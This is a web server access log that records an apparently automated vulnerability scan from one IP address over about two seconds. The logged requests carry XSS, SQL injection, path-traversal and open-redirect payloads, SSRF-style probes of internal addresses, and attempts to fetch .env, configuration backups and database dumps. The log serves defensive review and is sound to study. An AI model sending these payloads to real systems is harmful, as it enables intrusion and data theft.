[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/app.php HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://192.168.0.1:22/ HTTP/1.1" 226
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /main HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package-lock.json HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phinx.yml HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rgsclients/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //php.php HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /prweb/PRAuth/app/default/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phppgadmin/intro.php HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/oksAutoRenewalHelp.jsp%3Fthanks%3D%27%22%3E%3Csvg%2Fonload%3Dalert('380DIWRKM1A6NdexV6jiqMuxy0G')%3E HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.phpspec.yml HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OperaLogin/Welcome.do HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php.ini HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /counters HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/7 HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpwiki/index.php/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=install HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /persistentchat/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://127.0.0.1:22 HTTP/1.1" 226
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpmyadmin/index.php?db=information_schema HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /composer HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/jsp/bsc/bscpgraph.jsp?ifl=/etc/&ifn=passwd HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install.php?a=check HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.phpunit.result.cache HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpcs.xml HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /requesthandler/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=windows/win.ini%00 HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csperf/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //UI HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/Maintain/date_config HTTP/1.1" 199
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpstan.neon HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpunit.xml HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.php?c=project&f=index&token=1234&id=news&sort=1+and+extractvalue(1,concat(0x7e,md5(999999999)))+--+ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/login/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /groupexpansion/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /properties-list.php?property-types=1&types=2&location&prices&bedroom&code=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?m=login&a=attemptLogin HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpminiadmin.php HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380DIS6RzTJeBnPQPJmPBcpx5P2.php HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphiql.js HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /general/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpsysinfo/index.php?disp=bootstrap HTTP/1.1" 196
[09/Jan/2026:10:54:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /reach/sip.svc HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hybridconfig/ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status?full HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /anything_here HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.old HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /unifiedmessaging/ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.~ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /properties-list.php?property-types=%27 HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/install.php HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /errors.txt HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //1.php HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?piereg_logout_url=true&redirect_to=https://interact.sh HTTP/1.1" 3426
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /applications.pinpoint HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pipeline.yaml HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env_1 HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mcx/mcxservice.svc HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 226
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Pipfile.lock HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Pipfile HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/push.yml HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phoneconferencing/ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /account HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpmyadmin/server_import.php HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/read/JMImplementation:type=MBeanServerDelegate/ImplementationVersion HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.user.ini HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login_up.php HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /platformio.ini HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/ssi?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategy HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plesk-stat/ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /proxy HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.integrations/aws/kinesis/auto_setup/create_stream HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /requesthandlerext/ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://127.0.0.1/ HTTP/1.1" 226
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pmb/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=Nnum HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /parameters.yml.dist HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpMyAdmin/scripts/setup.php HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pmb/opac_css/ajax.php?categ=storage&datetime=undefined&id=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(7)))SHde)&module=ajax&sub=save&token=undefined HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /password-page/ovf/account-credentials-ovf HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pmb/opac_css/index.php?lvl=search_result&search_type_asked=extended_search HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phppgadmin/ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pnpm-lock.yaml HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application/databases/db.sqlite HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.json HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /deviceupdatefiles_ext/ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webticket/webticketservice.svcabs/ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_debug_toolbar/ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /internal_windows_authentication/ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/lint.yml HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://localhost/ HTTP/1.1" 226
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user.php?mod=login HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /graph HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /flow/registries HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env_sample HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpspec.yml HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adfs/services/trust/2005/windowstransport HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /prometheus HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/targets HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /OA_HTML/ieuiMeetingErrorDisplay.jsp%3FErrCode%3D%27%22%3E%3Csvg%2Fonload%3Dalert('380DIWRKM1A6NdexV6jiqMuxy0G')%3E HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /service-discovery HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.1.json HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /metrics HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pdb/dashboard/index.html HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.htm HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pdb/meta/v1/version HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /upload/UploadResourcePic.ashx?ResourceID=8382 HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/install/server HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pmb/opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /identification.php HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/users/admin/check HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /psalm.xml HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://192.168.1.1/ HTTP/1.1" 226
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v1/signin HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///cmd.php?cmd=template_engine&dn=%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&meth=ajax&server_id=1 HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status.html HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/status/config HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /puppet-ca/v1/certificate_request/380DId8BtGiqjUBy51Qw5Wd8EuX HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /deviceupdatefiles_int/ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphiql.min.css HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /debug/pyspidervulntest/run HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?next=/ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /processwire/ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.integrations/aws/kinesis/auto_setup/create_subscription HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.~ HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /appInfo/assert HTTP/1.1" 196
[09/Jan/2026:10:54:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /errors/errors.log HTTP/1.1" 196
